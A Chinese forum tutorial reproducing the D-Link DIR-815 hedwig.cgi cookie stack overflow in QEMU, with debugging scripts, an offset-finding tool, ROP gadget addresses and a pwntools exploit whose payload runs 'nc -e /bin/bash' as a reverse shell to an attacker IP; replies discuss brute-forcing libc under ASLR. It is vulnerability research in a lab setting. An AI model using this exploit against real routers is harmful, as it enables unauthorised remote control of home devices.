首页
社区
课程
招聘
[原创]家用路由器漏洞挖掘实例分析[图解D-LINK DIR-815多次溢出漏洞]
2021-7-29 09:50 45165

[原创]家用路由器漏洞挖掘实例分析[图解D-LINK DIR-815多次溢出漏洞]

2021-7-29 09:50
45165

D-LINK DIR-815多次溢出漏洞

目录

说明

原创作者:herculiz

 

以下内容纯原创辛苦手打,望大家多多支持。

 

首先感谢各位以下相关链接前辈师傅的知识分享精神,才萌生了本文。

 

由于年限及知识的更新,笔者觉得过去许多描述可能对新手不太友好(自己的痛苦经历),所以对其进行了补充及概述。

所需相关资源

  • 固件下载:ftp://ftp2.dlink.com/PRODUCTS/DIR-815/REVA/DIR-815_FIRMWARE_1.01.ZIP

  • gdbserver各架构对应调试文件(已经编译好了可以直接使用):https://github.com/rapid7/embedded-tools/tree/master/binaries/gdbserver

  • IDA6.8/IDA7.5:一个用在ubuntu调试,一个用在windows调试(7.5有更高级的mips反汇编器,可以方便参考伪代码)。或者谢安在Ghidra工具,专门反汇编反编译mips架构程序,目前只用于静态分析。
  • qemu-mips仿真的相关内核和虚拟硬盘(这里有坑,后面在说,总之一定要两者内核虚拟硬盘匹配):https://people.debian.org/~aurel32/qemu/

漏洞介绍

exploitdb介绍:https://www.exploit-db.com/exploits/33863

 

图片描述

1
2
Buffer overflow on “hedwig.cgi”
Another buffer overflow affects the “hedwig.cgi” CGI script. Unauthenticated remote attackers can invoke this CGI with an overly-long cookie value that can overflow a program buffer and overwrite the saved program address.

从漏洞公告中可以看出,该漏洞存在于名为“hedwig.cgi”的CGI脚本中,未认证攻击者通过调用这个CGI脚本传递一个超长的Cookie值,使得程序栈溢出,从而获得路由器的远程控制权限。

漏洞分析

漏洞定位

1,binwalk -Me解压提取固件

 

图片描述

 

2,

 

该漏洞的核心组件为hedwig.cgi,find . -name '*cgi'查找文件,并ls -l ./htdocs/web/hedwig.cgi发现hedwig.cgi是指向./htdocs/cgibin的符号链接,也就是说真正的漏洞代码在cgibin中。
图片描述

IDA静态调试分析-定位漏洞溢出点

1,用IDA静态调试cgibin文件,hedwigcgi_main函数处理真个过程,由于是HTTP_COOK这个字段引起的漏洞溢出点,可以在IDA(SHIFT+F12)搜索字符串,然后通过X,交叉引用来跟踪到hedwigcgi_main函数条用的位置。

 

图片描述

 

图片描述

 

跟踪到主函数的位置,对函数功能进行大致分析,或者利用Ghidra或IDA7.5反汇编hedwigcgi_main函数,可以定位到其中的sprintf函数引起了栈溢出(其实在后面还有一个sprintf函数调用,它才是真实环境利用的位置,后面讲解说明)。hedwigcgi_main函数通过sess_get_uid()获取到HTTP_COOKIEuid=之后的值,并将该内容按照sprintf函数中格式化字符串给定的形式拷贝到栈中,由于没有检测并限制输入的大小,导致栈溢出。

 

图片描述

 

参考1:函数功能流程说明

IDA动态调试-确定偏移位置(手动+自动两种方法)

这里需要用到qemu+IDA动态调试的方法:参考2:qemu+IDA动态调试

 

此处是qemu用户模式下仿真程序启动,qemu有两种模式,用户模式系统模式,详细工具使用这在不影响思路的情况下为了避免篇幅冗余过长就省略了。

 

图片描述

 

文件时小端有效的mips指令集,我们使用qemu-mipsel

 

注意: qemu-mipsel 由于依赖各种动态库,避免出现各种问题,我们这里手动复制库到当前目录下(squashfs-root目录下)

 

1,查看qemu-mipsel依赖的libc

 

图片描述

 

2,直接创建后面的目录名,并复制动态链接库

1
2
3
4
5
6
7
8
9
10
11
12
13
mkdir -p ./usr/lib/
mkdir -p ./lib/x86_64-linux-gnu/
mkdir -p ./lib64/
cp -p /usr/lib/x86_64-linux-gnu/libgmodule-2.0.so.0  ./usr/lib/
cp -p /lib/x86_64-linux-gnu/libglib-2.0.so.0  ./lib/x86_64-linux-gnu/
cp -p /lib/x86_64-linux-gnu/librt.so.1  ./lib/x86_64-linux-gnu/
cp -p /lib/x86_64-linux-gnu/libm.so.6  ./lib/x86_64-linux-gnu/
cp -p /lib/x86_64-linux-gnu/libgcc_s.so.1  ./lib/x86_64-linux-gnu/
cp -p /lib/x86_64-linux-gnu/libpthread.so.0  ./lib/x86_64-linux-gnu/
cp -p /lib/x86_64-linux-gnu/libc.so.6  ./lib/x86_64-linux-gnu/
cp -p /lib/x86_64-linux-gnu/libdl.so.2  ./lib/x86_64-linux-gnu/
cp -p /lib/x86_64-linux-gnu/libpcre.so.3  ./lib/x86_64-linux-gnu/
cp -p /lib64/ld-linux-x86-64.so.2  ./lib64/

3,通过脚本调试

 

当然也能直接通过以下参数方式调试,但个人感觉用习惯了脚本方式能更方便的修改参数内容和视觉上的简约。

 

sudo chroot ./ ./qemu-mipsel -E CONTENT_LENGTH=20 -E CONTENT_TYPE="application/x-www-form-urlencoded" -E REQUEST_METHOD="POST" -E HTTP_COOKIE=python -c "print 'uid=123'+'A'*0x600"-E REQUEST_URI="/hedwig.cgi" -E REMOTE_ADDR="192.168.x.x" -g 1234 ./htdocs/web/hedwig.cgi

 

3.1自己编写的调试tesh.sh脚本

1
2
3
4
5
6
7
8
9
10
11
12
#!/bin/bash
#注意:里面=和变量之间一定不要有空格,坑,否则读入空数据。
#test=$(python -c "print 'uid='+open('content','r').read(2000)") #方式一,以文件形式读入内容,提前填充好构造的数据到content文件
#test=$(python -c "print 'uid=' + 'A'*0x600" )#方式二,直接后面接数据内容
test=$(python -c "print 'uid='+open('exploit','r').read()")
#test =$(python -c "print 'uid=' + 'A'*1043 + 'B'*4")#可选构造数据
 
LEN=$(echo -n "$test" | wc -c)    #如果有看《揭秘家用路由器0day漏洞挖掘技术》书的同学,书上这里应该是填错了
PORT="1234"
cp $(which qemu-mipsel) ./qemu
sudo chroot . ./qemu -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE="application/x-www-form-urlencoded" -E REQUEST_METHOD="POST" -E HTTP_COOKIE=$test -E REQUEST_URL="/hedwig.cgi" -E REMOTE_ADDR="127.0.0.1" -g $PORT /htdocs/web/hedwig.cgi 2>/dev/null    #-E参数:加入环境变量 ;2>/dev/null :不输出提示错误
rm -f ./qemu

3.2利用patternLocOffset.py生成content文件,包含特定格式的2000个字符串。

1
python patternLocOffset.py -c -l 2000 -f content

patternLocOffset.py源码附上(当然像cyclic这种工具也一样能实现同样效果):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
# coding:utf-8
'''
生成定位字符串:轮子直接使用
'''
 
import argparse
import struct
import binascii
import string
import sys
import re
import time
a ="ABCDEFGHIJKLMNOPQRSTUVWXYZ"
b ="abcdefghijklmnopqrstuvwxyz"
c = "0123456789"
def generate(count,output):
    # pattern create
    codeStr =''
    print '[*] Create pattern string contains %d characters'%count
    timeStart = time.time()
    for i in range(0,count):
        codeStr += a[i/(26*10)] + b[(i%(26*10))/10] + c[i%(26*10)%10]
    print 'ok!'
    if output:
        print '[+] output to %s'%output
        fw = open(output,'w')
        fw.write(codeStr)
        fw.close()
        print 'ok!'
    else:
        return codeStr
    print "[+] take time: %.4f s"%(time.time()-timeStart)
 
def patternMatch(searchCode, length=1024):
 
   # pattern search
   offset = 0
   pattern = None
 
   timeStart = time.time()
   is0xHex = re.match('^0x[0-9a-fA-F]{8}',searchCode)
   isHex = re.match('^[0-9a-fA-F]{8}',searchCode)
 
   if is0xHex:
       #0x41613141
       pattern = binascii.a2b_hex(searchCode[2:])
   elif isHex:
       pattern = binascii.a2b_hex(searchCode)
   else:
       print  '[-] seach Pattern eg:0x41613141'
       sys.exit(1)
 
   source = generate(length,None)
   offset = source.find(pattern)
 
   if offset != -1: # MBS
       print "[*] Exact match at offset %d" % offset
   else:
       print
       "[*] No exact matches, looking for likely candidates..."
       reverse = list(pattern)
       reverse.reverse()
       pattern = "".join(reverse)
       offset = source.find(pattern)
 
       if offset != -1:
           print "[+] Possible match at offset %d (adjusted another-endian)" % offset
 
   print "[+] take time: %.4f s" % (time.time() - timeStart)
 
def mian():
   '''
   parse argument
   '''
   parser = argparse.ArgumentParser()
   parser.add_argument('-s', '--search', help='search for pattern')
   parser.add_argument('-c', '--create', help='create a pattern',action='store_true')
   parser.add_argument('-f','--file',help='output file name',default='patternShell.txt')
   parser.add_argument('-l', '--length', help='length of pattern code',type=int, default=1024)
   args = parser.parse_args()
   '''
   save all argument
   '''
   length= args.length
   output = args.file
   createCode = args.create
   searchCode = args.search
 
   if createCode and (0 <args.length <= 26*26*10):
       generate(length,output)
   elif searchCode and (0 <args.length <=26*26*10):
       patternMatch(searchCode,length)
   else:
       print '[-] You shoud chices from [-c -s]'
       print '[-] Pattern length must be less than 6760'
       print 'more help: pattern.py -h'
 
if __name__ == "__main__":
   if __name__ == '__main__':
       mian()

3.3根据构造内容分析栈buff起始位置$ra位置

 

图片描述

 

可以在附近多下几个断点,然后观察栈内容数据。

 

坑点1:观察数据时候一定要对指定内容同步上,不然可能调着调着数据你都找不到。

 

坑点2: 你看数据内存中的内容的时候可能出现一段问号,基本就能判定处问号的起始和终止就是我们要找的位置,注释IDA对内存读写的保护机制,IDA会提示的,注意仔细看。(我没遇到,参考其他文章时看到介绍了,所以这里也提示下大家,可以通过手动去恢复显示,这里找不到链接了)

 

图片描述


 

我构造的内容是从123开始,去找对应位置,即buff起始,并去找到栈上123对应起始位置,栈上的地址才是我们需要的,因为最终算的偏移是栈上的$RA位置 减去 缓存起始位置。

 

图片描述
又添加了一张下图,为了让大家更好看清栈中内容,是我后面调试匹配的(内容我更换了,思路一样的)

 

图片描述

 

找储存$RA位置

 

图片描述

 

自动确定偏移:

1
python patternLocOffset.py -s 0x38694237 -l 2000

手动:保存$RA栈的地址 - 读入buff起始的位置

 

坑点3:由于之前file缺点了大小端,所以如果之前没分析,找偏移时候还需两种模式计算偏移,然后核对。

 

经过验证,真正的漏洞点是第二个sprintf函数,找偏移类似以上过程。

 

原因:由于不是在真实环境下,里面缺少了相关文件,即偏移位置不同导致流程没在精心构造的步骤执行导致第一处sprintf利用rop失败。

构造ROP

无论是第一个sprintf还是第二个sprintf函数发生溢出,分析的流程是一样的,定位漏洞位置确定偏移值

 

所以我们可以先来构造ROP。主要的攻击目的是通过调用system(‘/bin/sh’)来getshell,system函数在libc.so中找,参数’/bin/sh’首先放入栈中,然后利用gadget将栈上的’/bin/sh’传入a0寄存器,再调用system函数即可。

 

下面我们通过gdb-multiarch+QEMU动态调试分析。

gdb-multiarch+QEMU动态调试分析验证

1,通过gdb指定脚本调试(避免重复输入,重复造轮子浪费时间)

 

dbgscript脚本内容:

1
2
3
4
5
6
gdb-multiarch htdocs/cgibin #一定要加载文件htdocs/cgibin不然vmmap得不到结果
set architecture mips
target remote :1234
b *0x409A54 #hedwigcgi_main()函数返回jr ra处,先前IDA静态分析可获得此地址
c
vmmap

启动执行命令:

 

gdb-multiarch htdocs/cgibin -x dbgscript

 

-x是指定要执行的命令文件

 

后面找gadget利用插件mipsrop请参考:如何寻找gadget及分析

 

这里补充点:第一次gadget

 

图片描述

 

所以下面是a0=$(sp+0x170-0x160)

 

图片描述

 

关于ROP:

 

图片描述

cache incoherency问题(影响EXP执行)

mips的exp编写中还有一个问题就是cache incoherency。MIPS CPUs有两个独立的cache:指令cache和数据cache。指令和数据分别在两个不同的缓存中。当缓存满了,会触发flush,将数据写回到主内存。攻击者的攻击payload通常会被应用当做数据来处理,存储在数据缓存中。当payload触发漏洞,劫持程序执行流程的时候,会去执行内存中的shellcode。如果数据缓存没有触发flush的话,shellcode依然存储在缓存中,而没有写入主内存。这会导致程序执行了本该存储shellcode的地址处随机的代码,导致不可预知的后果。

 

最简单可靠的让缓存数据写入内存的方式是调用一个堵塞函数。比如sleep(1)或者其他类似的函数。sleep的过程中,处理器会切换上下文让给其他正在执行的程序,缓存会自动执行flush。

 

参考:cache incoherency

坏字符问题

构造exp时有可能的坏字符:0x20(空格)、0x00(结束符)、0x3a(冒号)、0x3f(问号)、0x3b(分号)、0x0a(\n换行符)等。具体还要看程序如何处理以及转义。

 

由于qemu用户模式下仿真执行程序,环境各种因素影响导致执行shell失败,下面我们使用qemu系统模式仿真路由器真实环境进行溢出。

qemu系统模式

这里主要是为了在qemu虚拟机中重现http服务。通过查看文件系统中的/bin、/sbin、/usr/bin、/usr/sbin可以知道/sbin/httpd应该是用于监听web端口的http服务,同时查看/htdocs/web文件夹下的cgi文件和php文件,可以了解到接受到的数据通过php+cgi来处理并返回客户端。

 

1,自己按配置所需写入新建conf文件内容。

 

find ./ -name '*http*'找到web配置文件httpcfg.php。

 

图片描述

 

查看内容后分析出httpcfg.php文件的作用是生成供所需服务的配置文件的内容,所以我们参照里面内容,自己创建一个conf作为生成的配置文件,填充我们所需的内容。

 

conf文件内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
Umask 026
PIDFile /var/run/httpd.pid
LogGMT On  #开启log
ErrorLog /log #log文件
 
Tuning
{
    NumConnections 15
    BufSize 12288
    InputBufSize 4096
    ScriptBufSize 4096
    NumHeaders 100
    Timeout 60
    ScriptTimeout 60
}
 
Control
{
    Types
    {
        text/html    { html htm }
        text/xml    { xml }
        text/plain    { txt }
        image/gif    { gif }
        image/jpeg    { jpg }
        text/css    { css }
        application/octet-stream { * }
    }
    Specials
    {
        Dump        { /dump }
        CGI            { cgi }
        Imagemap    { map }
        Redirect    { url }
    }
    External
    {
        /usr/sbin/phpcgi { php }
    }
}
 
 
Server
{
    ServerName "Linux, HTTP/1.1, "
    ServerId "1234"
    Family inet
    Interface eth0 #对应qemu仿真路由器系统的网卡
    Address 192.168.x.x #qemu仿真路由器系统的IP
    Port "1234" #对应未被使用的端口
    Virtual
    {
        AnyHost
        Control
        {
            Alias /
            Location /htdocs/web
            IndexNames { index.php }
            External
            {
                /usr/sbin/phpcgi { router_info.xml }
                /usr/sbin/phpcgi { post_login.xml }
            }
        }
        Control
        {
            Alias /HNAP1
            Location /htdocs/HNAP1
            External
            {
                /usr/sbin/hnap { hnap }
            }
            IndexNames { index.hnap }
        }
    }
}

启动qemu仿真路由器系统:

1
sudo qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_squeeze_mipsel_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic -net tap -nographic
参数 说明
-M malta 指定要仿真的开发板:malta
-kernel 要运行的镜像
-hda 指定硬盘镜像
-append cmdline 设置Linux内核命令行、启动参数
-net nic 为虚拟机网卡(默认为tap0)
-net tap 系统分配tap设备(默认为tap0)
-net nic -net tap 将虚拟机的网卡eth0连接真机里的tap0
-nographic 非图形化启动,使用串口作为控制台
 

坑点4:https://people.debian.org/~aurel32/qemu/ 此处下载的 -kernel-hda的文件一定要同一个目录下的,并且匹配上的程序的大小端序,否则执行会出现 图片描述

 

此内容提示。

 

2,测试两台主机ping通网络情况

 

qemu网络配置参考:家用路由器研究详解入门(内含仿真环境搭建) 两台主机互通按里面内容配置即可,如想联通外网,可按一把梭方法(硬核联网)。

 

3,将固件的提取的文件系统(在Ubuntu上)利用scp命令拷贝到mipsel虚拟机中

1
sudo scp -r squashfs-root root@192.168.x.x:/root/

scp命令使用参考

 

4,之后编写copy.sh脚本配置启动http服务需要的环境包括动态链接库,以及conf配置文件中提到的/usr/sbin/phpcgi/usr/sbin/hnap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
cp conf /
cp sbin/httpd /
cp -rf htdocs/ /
rm /etc/services
cp -rf etc/ /
cp lib/ld-uClibc-0.9.30.1.so  /lib/
cp lib/libcrypt-0.9.30.1.so  /lib/
cp lib/libc.so.0  /lib/
cp lib/libgcc_s.so.1  /lib/
cp lib/ld-uClibc.so.0  /lib/
cp lib/libcrypt.so.0  /lib/
cp lib/libgcc_s.so  /lib/
cp lib/libuClibc-0.9.30.1.so  /lib/
cd /
ln -s /htdocs/cgibin /htdocs/web/hedwig.cgi
ln -s /htdocs/cgibin /usr/sbin/phpcgi
ln -/htdocs/cgibin /usr/sbin/hnap
./httpd -f conf

记得启动执行(需要进入squashfs-root目录使用,脚本最后启动了http服务。):

 

./copy.sh

 

5,在浏览器中访问conf文件中配置的192.168.79.143:1234/hedwig.cgi 文件内容

 

5.1访问方式一:

 

坑点5:如果你直接在浏览器中输入以上地址,默认https访问,手动改成http协议即可看见服务被启动。

 

图片描述

 

图片描述 图片描述

 

5.2访问方式二:

 

在宿主机(ubuntu)中使用以下命令:其中-v显示详细信息,-X指定什么指令,-H 自定义头信息传递给服务器,-b 指定cookie字符串。

1
curl http://192.168.79.143:1234/hedwig.cgi -v -X POST -H "Content-Length: 8" -"uid=zh"

curl使用:在Linux中curl是一个利用URL规则在命令行下工作的文件传输工具,可以说是一款很强大的http命令行工具。它支持文件的上传和下载,是综合传输工具,但按传统,习惯称url为下载工具。

 

图片描述

gdbserver调试

1,接下来尝试调试/htdocs/web/hedwig.cgi文件

 

图片描述

 

返回no REQUEST,查看IDA静态反汇编得知没有指定环境变量REQUEST_METHOD的值(还是怼时间去逆向分析函数功能,如果能通过浏览器找到相关函数功能说明最好了,节约时间)。所以想要触发漏洞进行调试的话,还是需要通过export 设置相关环境变量。

1
2
3
4
5
export CONTENT_LENGTH="100"
export CONTENT_TYPE="application/x-www-form-urlencoded"
export REQUEST_METHOD="POST"
export REQUEST_URI="/hedwig.cgi"
export HTTP_COOKIE="uid=1234"

运行成功:

 

图片描述

 

2,接下来动态调试确定偏移但是在那之前需要关掉地址随机化,因为qemu的虚拟机内核开启了地址随机化,每次堆的地址都在变化,导致libc的基地址也不断在变,所以需要关闭地址随机化。

1
echo 0 > /proc/sys/kernel/randomize_va_space

3,在qemu仿真路由器系统中,和gdb进行动态调试

 

目的:验证地址偏移位置。

 

qemu仿真路由器系统中编写调试脚本:

1
2
3
4
5
6
7
#!/bin/bash
export CONTENT_LENGTH="100"
export CONTENT_TYPE="application/x-www-form-urlencoded"
export HTTP_COOKIE="`cat content`"    #content你自己构造的数据内容,原本是没有的按上面所述的方式去创建
export REQUEST_METHOD="POST"
export REQUEST_URI="/hedwig.cgi"
echo "uid=1234"|./gdbserver.mipsel 192.168.x.x:9999 /htdocs/web/hedwig.cgi

记得在仿真路由器系统中启动:

 

./debug.sh

 

接下来启动gdb调试便可确定偏移。(这里gdb调试技能各位同学自己去实践操作吧,本人也在不断熟悉过程中,就不带各位一步一步跟了)

 

4,接下来是确定libc的基地址,需要先把环境变量配置好,不然/htdocs/web/hedwig.cgi很快就执行完,进程立马就结束了,就得不到maps。

 

利用(注意根据会先pid规律,快速修改预测pid执行,否则maps地址数据不会出来)

1
/htdocs/web/hedwig.cgi & cat /proc/pid/maps

a&b 先执行a,在执行b,无论a成功与否都会执行b。因为关闭了地址随机化,libc.so.0的基地址就是0x77f34000。这里的libc.so.0是指向libuClibc-0.9.30.1.so。所以libuClibc-0.9.30.1.so基地址为0x77f34000。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
root@debian-mipsel:~/squashfs-root#
export CONTENT_LENGTH="100"
root@debian-mipsel:~/squashfs-root#
export CONTENT_TYPE="application/x-www-form-urlencoded"
root@debian-mipsel:~/squashfs-root#
export HTTP_COOKIE="uid=1234"
root@debian-mipsel:~/squashfs-root#
export REQUEST_METHOD="POST"
root@debian-mipsel:~/squashfs-root#
export REQUEST_URI="/hedwig.cgi"
root@debian-mipsel:~/squashfs-root#
/htdocs/web/hedwig.cgi & cat /proc/pid/maps
 
[10] 1052
cat: /proc/pid/maps: No such file or directory
root@debian-mipsel:~/squashfs-root#
/htdocs/web/hedwig.cgi & cat /proc/pid/maps
 
[11] 1054
cat: /proc/pid/maps: No such file or directory
[10]+  Stopped                 /htdocs/web/hedwig.cgi
root@debian-mipsel:~/squashfs-root#
/htdocs/web/hedwig.cgi & cat /proc/1056/maps
 
[12] 1056
00400000-0041c000 r-xp 00000000 08:01 32694      /htdocs/cgibin
0042c000-0042d000 rw-p 0001c000 08:01 32694      /htdocs/cgibin
0042d000-0042f000 rwxp 00000000 00:00 0          [heap]
77f34000-77f92000 r-xp 00000000 08:01 547906     /lib/libc.so.0
77f92000-77fa1000 ---p 00000000 00:00 0
77fa1000-77fa2000 r--p 0005d000 08:01 547906     /lib/libc.so.0
77fa2000-77fa3000 rw-p 0005e000 08:01 547906     /lib/libc.so.0
77fa3000-77fa8000 rw-p 00000000 00:00 0
77fa8000-77fd1000 r-xp 00000000 08:01 546761     /lib/libgcc_s.so.1
77fd1000-77fe1000 ---p 00000000 00:00 0
77fe1000-77fe2000 rw-p 00029000 08:01 546761     /lib/libgcc_s.so.1
77fe2000-77fe7000 r-xp 00000000 08:01 547907     /lib/ld-uClibc.so.0
77ff5000-77ff6000 rw-p 00000000 00:00 0
77ff6000-77ff7000 r--p 00004000 08:01 547907     /lib/ld-uClibc.so.0
77ff7000-77ff8000 rw-p 00005000 08:01 547907     /lib/ld-uClibc.so.0
7ffd6000-7fff7000 rwxp 00000000 00:00 0          [stack]
7fff7000-7fff8000 r-xp 00000000 00:00 0          [vdso]
 
[11]+  Stopped                 /htdocs/web/hedwig.cgi

编写exp

system方法:将上面的exp的libc基地址和偏移改掉然后cmd换成nc -e /bin/bash 192.168.x.145 9999(IP地址是ubuntu机器的,即攻击主机IP)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#!/usr/bin/python2
from pwn import *
context.endian = "little"
context.arch = "mips"
base_addr = 0x77f34000
system_addr_1 = 0x53200-1
gadget1 = 0x45988
gadget2 = 0x159cc
 
cmd = 'nc -e /bin/bash 192.168.79.145 9999'
padding = 'A' * 973 #1009-4*9
padding += p32(base_addr + system_addr_1) # s0
padding += p32(base_addr + gadget2)       # s1
padding += 'A' * 4                        # s2
padding += 'A' * 4                        # s3
padding += 'A' * 4                        # s4
padding += 'A' * 4                           # s5
padding += 'A' * 4                        # s6
padding += 'A' * 4                        # s7
padding += 'A' * 4                        # fp
padding += p32(base_addr + gadget1)       # ra
padding += 'B' * 0x10
padding += cmd
 
f = open("context",'wb')
f.write(padding)
f.close()

生成的context通过scp拷贝到mips虚拟机中并且nano debug.sh更改debug.sh

 

新的debug.sh内容:(在路由器仿真系统执行,即被攻击机)

1
2
3
4
5
6
7
8
#!/bin/bash
export CONTENT_LENGTH="100"
export CONTENT_TYPE="application/x-www-form-urlencoded"
export HTTP_COOKIE="uid=`cat context`"
export REQUEST_METHOD="POST"
export REQUEST_URI="/hedwig.cgi"
echo "uid=1234"|/htdocs/web/hedwig.cgi
#echo "uid=1234"|./gdbserver.mipsel 192.168.x.145:9999 /htdocs/web/hedwig.cgi

在mips虚拟机运行之后在本机nc -vlp 9999,确实能够获取/bin/bash权限。成功了!说明rop链构造是没问题的。

 

图片描述

 

最后:exp当然不止这一种,其他可以利用的方法也许多,由于受限于个人的知识水平,整理难免会出现不正确的地方,如若发现了问题,欢迎指出,笔者也会修改和完善相关内容,继续努力贡献更优质的号文章分享给大家。

总结

由于各种原因涉及此行业,也是个人第一个完整复现成功的漏洞,在学习过程中发现许多问题,并且从解决过程中收获许多,正是因为遇到许多奇怪的坑,并且能找的相关资料甚少,所以花了大量时间完成了本文,文中内容尽量做到细节步骤都配图说明,希望能帮助到更多的同学。

 

浅聊心态历程:遇到各种问题被卡住时难免会产生放弃及怀疑的思虑,坚持下来的原因对我而言更多的是热爱,如若不是兴趣趋势,小劝各位同学尽早发现自己喜欢的方向或者职业。

参考

1,DIR815缓冲区溢出漏洞分析相关:

 

https://pup2y.github.io/2020/05/22/dir815-huan-chong-qu-yi-chu-lou-dong-zai-fen-xi/[1]

 

http://www.giantbranch.cn/2018/05/03/D-LinkDIR-815%E8%B7%AF%E7%94%B1%E5%99%A8%E5%A4%9A%E6%AC%A1%E6%BA%A2%E5%87%BA%E5%88%86%E6%9E%90/[2]

 

https://kirin-say.top/2019/02/23/Building-MIPS-Environment-for-Router-PWN/#0x02-IDA%E9%9D%99%E6%80%81%E5%88%86%E6%9E%90[3]

 

2,环境搭建

 

https://blog.csdn.net/weixin_44309300/article/details/118526235[1]

 

https://pup2y.github.io/2020/03/30/lu-you-qi-lou-dong-wa-jue-huan-jing-da-jian/[2]

 

3,GDB+GDBServer调试Linux应用程序

 

https://www.cnblogs.com/cslunatic/p/3635520.html

 

4,配置文件

 

httpd配置文件httpd.conf规则说明和一些基本指令

 

5,<<揭秘家用路由器0day漏洞挖掘技术>>


[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

最后于 2021-8-13 15:56 被herculiz编辑 ,原因:
上传的附件:
收藏
点赞16
打赏
分享
最新回复 (15)
雪    币: 12483
活跃值: (16262)
能力值: (RANK:730 )
在线值:
发帖
回帖
粉丝
有毒 10 2021-7-29 19:08
2
0
优秀!
雪    币: 1521
活跃值: (2032)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
herculiz 1 2021-7-30 21:30
3
0
有毒 优秀!
谢谢支持。
雪    币: 1632
活跃值: (475)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
wasdzjh 2021-7-31 18:56
4
1
只能膜拜了,支持一下。
雪    币: 1521
活跃值: (2032)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
herculiz 1 2021-8-1 17:44
5
0
wasdzjh 只能膜拜了,支持一下。
谢谢支持。
雪    币: 252
活跃值: (747)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
凡人_ 2021-11-16 14:28
6
0

膜拜

最后于 2021-11-16 14:31 被凡人_编辑 ,原因:
雪    币: 235
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
K1ose 2022-3-23 12:00
7
0
请问师傅还有DIR-815的固件文件吗,ftp服务器上好像没有了。
雪    币: 1521
活跃值: (2032)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
herculiz 1 2022-3-27 22:16
8
0
K1ose 请问师傅还有DIR-815的固件文件吗,ftp服务器上好像没有了。
没保留,Google可以找到
雪    币: 188
活跃值: (295)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
Backsp4ce 2022-7-7 17:07
9
0
贴个固件下载地址吧 https://github.com/ray-cp/MIPS/blob/master/book_note/D-Link_DIR-815_stack_overflow/DIR-815_FIRMWARE_1.01.ZIP
雪    币: 4
活跃值: (163)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
mszgx 2022-8-5 00:00
10
0
https://bbs.pediy.com/thread-273933.htm   大佬能帮我分析下这个吗?谢谢
雪    币: 1521
活跃值: (2032)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
herculiz 1 2022-8-7 09:55
11
0
mszgx https://bbs.pediy.com/thread-273933.htm 大佬能帮我分析下这个吗?谢谢
雪    币: 85
活跃值: (995)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
gudubuku 2023-8-8 15:37
12
0
/var/tmp/tools # cat /proc/sys/kernel/randomize_va_space
1

师傅你好,在真实的路由器环境中,/proc/sys/kernel/randomize_va_space的值为1


同时libc开启了PIE,这种情况要怎么动态获取libc基址呢?

➜  squashfs-root checksec ./lib/libuClibc-0.9.33.so                    

[!] Could not populate MIPS GOT: seek out of range

[!] Did not find any GOT entries

[*] '/home/smaill/iot/h3c/_B5V100R006.bin.extracted/squashfs-root/lib/libuClibc-0.9.33.so'

    Arch:     mips-32-little

    RELRO:    Partial RELRO

    Stack:    No canary found

    NX:       NX disabled

    PIE:      PIE enabled

    RWX:      Has RWX segments

雪    币: 1521
活跃值: (2032)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
herculiz 1 2023-8-18 09:26
13
0
gudubuku /var/tmp/tools&nbsp;#&nbsp;cat&nbsp;/proc/sys/kernel/randomize_va_space 1师傅你好,在真实的路由器环境 ...
路由设备一般都裁剪了内核,把这部分功能删了。所以先去调试看是否此保护真有效;如果真每次都变化,则比较普遍的方式可以尝试爆破。
雪    币: 85
活跃值: (995)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
gudubuku 2023-8-18 15:43
14
0
$ cat /proc/sys/kernel/randomize_va_space
1
并且动态调试也确定了libc的基址每次都会变化,至于大佬你说的爆破,在针对真实设备的httpd程序,如何能保证程序不崩的情况下爆破到真实libc呢?
雪    币: 1521
活跃值: (2032)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
herculiz 1 2023-9-22 18:40
15
0

 1

最后于 2023-9-22 18:41 被herculiz编辑 ,原因: 修正
雪    币: 1521
活跃值: (2032)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
herculiz 1 2023-9-22 18:42
16
0
gudubuku $ cat /proc/sys/kernel/randomize_va_space 1 并且动态调试也确定了libc的基址每次都会变化,至于大佬你说的爆破,在针对真实设备的httpd程序,如何能保 ...
真实设备尤其小型嵌入式设备保证不崩有点难,只能提前备份好了。如果遇到真实是被保护都开满了我一般是会去找能关闭保护的其他点。
游客
登录 | 注册 方可回帖
返回